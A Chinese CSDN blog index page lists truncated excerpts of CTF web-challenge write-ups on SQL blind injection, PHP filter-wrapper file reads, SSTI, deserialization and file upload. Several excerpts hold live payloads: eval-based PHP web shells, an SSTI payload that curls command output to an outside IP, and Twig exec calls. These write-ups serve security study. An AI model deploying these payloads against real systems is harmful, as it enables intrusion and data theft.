自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(62)
  • 收藏
  • 关注

原创 [蓝帽杯2020第四届 线上赛]easiestSQLi

题目布尔盲注过程题目关了,没图。1.注入点很明显,bp来fuzz一下,看一下过滤除此还过滤了空格,使用^异或符绕过import requestsimport timehost = "http://eci-2zef68uxg0ojmyl1cdog.cloudeci1.ichunqiu.com/?"def dumpTable():#脱裤 global host ans='' for i in range(1,1000): low = 32

2020-08-08 10:36:03 969

原创 [蓝帽杯2020第四届 线上赛]Soitgoes

题目php反序列化,pop构造,常规题过程1.index.php页面右键查看源码,感觉要用php伪协议去读try.php2.?file=php://filter/read=convert.base64-encode/resource=这次没有过滤,直接读到index.phptry.php<?phpclass Seri{ public $alize; public function __construct($alize) { $this->ali

2020-08-08 09:59:46 998

原创 [蓝帽杯2020第四届 线上赛]文件包含绕过

题目过程######阴间做题纯脑洞题,就看谁能搜的到。1.文件包含,php伪协议2.需要读php文件,以前觉得:后端语言没法直接显示到前端,必须用base64转码是我浅薄了Example #3 convert.iconv.*<?php$fp = fopen('php://output', 'w');stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');fwrite($fp, "This is a test.n");

2020-08-08 09:05:46 889

原创 [BJDCTF 2nd]文件探测

题目过程1.f12发现hint,里面有home.php。进入home.php,发现url改变,想到php伪协议/home.php?file=system尝试php://filter/read=convert.base64-encode/resource=home.php发现报错,联想之前的一个题,可能进去之后自己拼接php,将.php去掉。读到源码。里面有很多过滤,自己注释一下。<?phpsetcookie("y1ng", sha1(md5('y1ng')), time() +

2020-08-04 16:59:28 541

原创 [watevrCTF-2019]Cookie Store

题目过程1.三张图片,结合题目,估计是要抓包看cookie,试一下。购买食物一左边cookie右边cookie2.很明显少了1。那将id=0改为id=2购买食物三试试,购买失败,钱不够。修改cookie,base64转码,放到发送包里面。500。那将id=0改为id=2购买食物三试试,购买失败,钱不够。修改cookie,base64转码,放到发送包里面。500。那将id=0改为id=2购买食物三试试,购买失败,钱不够。修改cookie,base64转码,放到发送包里面。5003.b

2020-08-04 11:37:43 1022

原创 [SUCTF 2019]EasyWeb

题目过程1.admin登录,cookie里面貌似有猫腻,抓包看一下2.没有发现cookie,自己添加一个试试。cookie:username=admin%09&password=admin3.尝试之后。将后半部分去掉,即可

2020-08-03 18:12:29 202

原创 [BJDCTF 2nd]elementmaster

题目过程1.查看源码。发现16进制,转成文本。Po.2.访问Po.php,发现只有一个点。翻译index.php的英文。我是全部118个元素的元素大师!你可能没有感觉,但是放射性射线的症状会无声的杀死你。结合步骤一,感觉应该是访问由元素周期表命名的php文件3.写脚本遍历即可,发现And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php,访问即可。import osimport requests as reqelements = ('H', 'He', 'Li', '

2020-08-03 17:17:00 354

原创 [BSidesCF 2020]Had a bad day

题目过程1.点击一个按钮,注意到url有点类似伪协议。用poc尝试一下读取index.phpphp://filter/read=convert.base64-encode/resource=index出现base64,解码得源码。只放出有参考意义的片段。原来是后面做了拼接,所以前面的poc才不能加.php<?php  $file = $_GET['category'];    if(isset($file))  {    if( strpos( $file, "woofers"

2020-08-03 16:09:13 1486

原创 [极客大挑战 2019]RCE ME

题目 <?phperror_reporting(0);if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); }

2020-08-03 11:41:36 1866

原创 [GWCTF 2019]枯燥的抽奖

题目过程1.php种子伪随机数,seed。mt_scrand(seed)函数通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。举个例子,两次随机数生成竟然是存在一样的。其实这就是伪随机数的漏洞,存在可预测性。生成伪随机数是线性的,你可以理解为y=ax,x就是种子,知道种子和一组伪随机数不是就可以推y(伪随机数了吗),当然实际上更复杂肯定。 我知道种子后,可以确定你输出伪随机数的序列。2.知道你的随机数序列,可以确定你的种子。 此处使用c语言脚本,脚本自取。kali

2020-08-03 11:30:00 2290

原创 [BJDCTF2020]EasySearch

题目过程1.主页面尝试注入,无果。御剑扫描后台发现index.php.swp文件。访问可以看到后端程序。<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[

2020-08-03 11:26:48 167

原创 [网鼎杯 2020 朱雀组]phpweb

题目buu复现过程1.主页面抓包,发现可以传参。执行file_get_contents。可以看到index.php的源代码。里面有一个十分严格的过滤,几乎过滤了所有危险函数。下面是一个类,里面有析构函数,可以考虑到使用反序列化构造命令执行。<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","pro

2020-08-02 16:25:29 2684

原创 [网鼎杯 2020 朱雀组]Nmap

题目站老是崩,有点难受。过程1.题目非常熟悉,以前在buu写过。主要考察nmap的一些用法。2.选项 解释-oN 标准保存-oX XML保存-oG Grep保存-oA 保存到所有格式-append-output 补充保存文件选项-oG将结果Grep保存。nmap -F -oG test.txt 192.168.23.1选项-oA该选项可将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中

2020-08-02 16:24:39 4435 4

原创 [MRCTF2020]PYWebsite

题目过程1.直接在flag.php页面抓包,添加请求头x-forwarded-for:127.0.0.1,发包即可。这里想讨论的是为什么添加client_ip:127.0.0.1就不行。2. HTTP_CLIENT_IP头是有的,只是未成标准,不一定服务器都实现了。3. HTTP_X_FORWARDED_FOR 是有标准定义,用来识别经过HTTP代理后的客户端IP地址,格式:clientip,proxy1,proxy2。详细解释见 http://zh.wikipedia.org/wiki/X-F

2020-08-02 16:23:36 793

原创 [GKCTF2020]老八小超市儿

题目过程1.后台,/admin.php。username=admin,password=shopxo2.应用商店-主题-默认主题。下载下来,在_static_文件夹里面,新建一句话。<?php @eval($_POST[a]); phpinfo(); ?>3.打包上传。上传点:应用中心-应用管理-上传应用。上传压缩包。访问木马/public/static/index/default/1.php发现flag无法查看注意到红色文件。#!/bin/shwh

2020-08-02 16:23:08 226

原创 [极客大挑战 2019]FinalSQL

题目过程1.提示盲注,找注入口,fuzz看过滤情况,使用bp自带的字典即可。2.’^‘没有被过滤,输入1^1回显’ERROR’,1^0回显’NO! Not this! Click others~~~’,判断出为数字型注入由于空格被过滤,用()代替。1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))=%d)^1"%(i,ord(j)) 获取数据库名称1^(ord

2020-08-02 16:22:27 1658

原创 [CISCN2019 华北赛区 Day1 Web2]ikun

题目过程1.一开始提示说要买到V6,观察源码,发现/static/img/lv/lv4.png。注册之后尝试寻找V6。观察url发现/shop?page=2。尝试写脚本匹配一下。发现在第181页。import requestsurl="http://20573976-f06b-4718-9d26-89a9471c808b.node3.buuoj.cn/shop?page="for i in range(0,2000): r=requests.get(url+str(i)) if

2020-08-02 16:21:01 372

原创 [安洵杯 2019]easy_serialize_php

题目 <?php$function = @$_GET['f'];function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SESSION){ unset($_SESSION);}

2020-08-01 16:46:33 444

原创 [MRCTF2020]Ez_bypass

题目I put something in F12 for youinclude 'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { e

2020-08-01 16:45:27 2397

原创 [BJDCTF 2nd]简单注入

题目过程1.username=admin,password=1232.username=admin’,password=1233.没有什么提示,扫描目录试试,发现hint.txt,发现后端过滤语句。倘若转义username后面第一个单引号,使$_POST前面的单引号与password=后面的单引号闭合,便可以逃逸此单引号后面的内容。select * from users where username='$_POST["username"]' and password='$_POST["pa

2020-08-01 16:44:30 407 1

原创 [BJDCTF2020]Cookie is so stable

题目过程1.Flag和Hint两个页面抓包,flag页面告诉我们要先登录,hint页面告诉我们要在cookie里面做文章2.flag页面先登录然后抓包,发现cookie里面出现user。尝试多次后,发现是ssti注入3.打入payload。{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}...

2020-07-31 16:18:20 1239

原创 [WesternCTF2018]shrine

题目过程1.使用tplmap,发现有ssti注入./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'2.题目源码:import flaskimport osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')def index(): return open(__file__).re

2020-07-31 16:17:58 1923 3

原创 [GXYCTF2019]BabyUpload

题目过程png文件不许上传,尝试上传jpg修改后缀名为.htaccess,文件内容为SetHandler application/x-httpd-php上传一句话木马<?php eval($_POST[cmd]);?>失败,换一种方式<script language='php'>eval($_POST[cmd]);</script>上传成功,蚁剑连接一下,在根目录找到flag...

2020-07-31 16:17:13 91

原创 [BJDCTF2020]The mystery of ip

题目过程1.抓包分析,flag.php,hint.php,index.php,发现貌似和ip有关2.客户端请求头,XFF和client-ip都可。发现可以控制输入3.尝试是否可以进行逻辑运算{7*8},发现可以4.尝试系统命令client-ip:{system('ls')}发现可以,尝试cat /flag,没有任何过滤...

2020-07-30 10:23:34 1175

原创 [BJDCTF 2nd]假猪套天下第一

题目过程1.登录界面抓包,发现L0g1n.php,访问一下2.继续抓包,提示说时间要99年,那就把time改很大3.又要本地登录,那XFF和client-ip都可以4.又要消息来自gem-love.com,添加Referer5.又要使用Commodo 64浏览器,添加user-agent,注意浏览器名称需使用全称6.又要邮箱,添加From7.又要使用代理,添加via8.base64解码得flag...

2020-07-30 10:03:56 137

原创 [BJDCTF2020]Mark loves cat

题目过程1.需要用到dirsearch和githack,项目已经部署在gihub上,直接git clone url就可以下载https://github.com/maurosoria/dirsearchhttps://github.com/BugScanTeam/GitHack2.dirsearch扫描目录,发现存在源码泄露python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt3.使用Githack下载&l

2020-07-30 09:32:54 143

原创 [RoarCTF 2019]Online Proxy

题目知识点X-Forwarded-For注入二次注入盲注看了wp,知道注入点在X-Forwarded-For处,而且是个二次注入回显的地方在这里我们第一次输入1' or '1第二次和第三次都输入相同的数据,比如111由于第一次输入的1’ or '1和第二次输入的111不一样,回显此时1’ or ‘1 已经存入数据库中,而且111与1’ or ‘1不一样,所以服务器不会从数据库里查找1’ or '1,而是直接把上次的IP显示出来当我们再输入一次111,即第三次的输入。此时

2020-07-29 09:26:10 384 1

原创 [GWCTF 2019]你的名字

题目过程1.在 ssti 中过滤了后, 可以通过{%外带{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=ls /') %}1{% endif %}由于有黑名单,这里使用得操作是利用blacklist里面最后一个进行绕过。只要在其他语句加入他,那么就可以绕过其他语句了。但是不知道他得blackl

2020-07-28 11:26:20 1352

原创 [N1CTF 2018]eating_cms

题目扫描发现register.php界面,注册一下登录进去,发现url里面貌似可以伪协议,试一下/user.php?page=php://filter/convert.base64-encode/resource=userbase64解密<?phprequire_once("function.php");if( !isset( $_SESSION['user'] )){ Header("Location: index.php");}if($_SESSION['isa

2020-07-28 10:16:18 490

原创 virink_2019_files_share

题目让你玩魔方,没找他其他页面过程1.对原页面抓包,重发看到源码,看到三个关键点,一个是看到了上传点,一个是看到flag所在位置,服务器是openresty,一个java的站2.没有上传点,联想到已知flag所在位置,使用一下文件包含里面左边preview的格式是/preview?f= 尝试文件包含漏洞由于是使用OpenResty,尝试包含nginx的配置文件,默认是/etc/nginx/conf.d/default.conf被过滤了,然后有一个很隐秘的提示,双写。3.试了好几遍,

2020-07-27 21:40:51 734

原创 [SUCTF 2018]GetShell

题目过程if($contents=file_get_contents($_FILES["file"]["tmp_name"])){ $data=substr($contents,5); foreach ($black_char as $b) { if (stripos($data, $b) !== false){ die("illegal char"); } } } 发现可以上传php文件,访问过后发现,直

2020-07-27 21:01:04 1340

原创 [GKCTF2020]cve版签到

题目:根据hint可知考察cve-2020-7066,是一个ssrf漏洞https://www.anquanke.com/vul/id/1966253漏洞详情PHP(PHP:Hypertext Preprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区的共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。 PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_header

2020-06-21 19:01:39 918 1

原创 php反序列化总结(二)

反序列化与POP CHAINPOP CHAIN:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。通俗点就是:反序列化中,如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。举一个小例子

2020-05-17 22:56:44 498

原创 php反序列化总结(一)

一、魔术方法1、列举__wakeup() //使用unserialize时触发__sleep()//使用serialize时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic()//在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset()//在不可访问的属性上调用isset()或empty()触发__unset

2020-05-16 23:10:07 1032

原创 [EIS 2019]EzPOP

#题目: <?phperror_reporting(0);class A{ protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $sto

2020-05-15 11:08:52 1453

原创 [MRCTF2020]Ezpop

题目:Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier { protected $var; pub

2020-05-14 12:08:58 662

原创 [网鼎杯 2020 青龙组]notes

感谢蓝小俊师傅解惑!#题目:直接给源码app.jsvar express = require('express');var path = require('path');const undefsafe = require('undefsafe');const { exec } = require('child_process');var app = express();class Notes { constructor() { this.owner = "who

2020-05-11 20:55:56 1917

原创 [SCTF2019]Flag Shop

#题目:1.发现robots.txt,里面提示/filebak,查看filebak发现源码require 'sinatra'require 'sinatra/cookies'require 'sinatra/json'require 'jwt'require 'securerandom'require 'erb'set :public_folder, File.dirname(__FILE__) + '/static'FLAGPRICE = 100000000000000000000

2020-05-09 16:31:01 1708

原创 [BJDCTF2020]Mark loves cat

#题目:补充下php变量覆盖:$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。<?php$name='thinking';foreach ($_GET ...

2020-05-08 11:14:02 627 1

原创 [De1CTF 2019]SSRF Me

#题目:直接给代码#! /usr/bin/env python#encoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaul...

2020-05-08 10:32:13 191

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除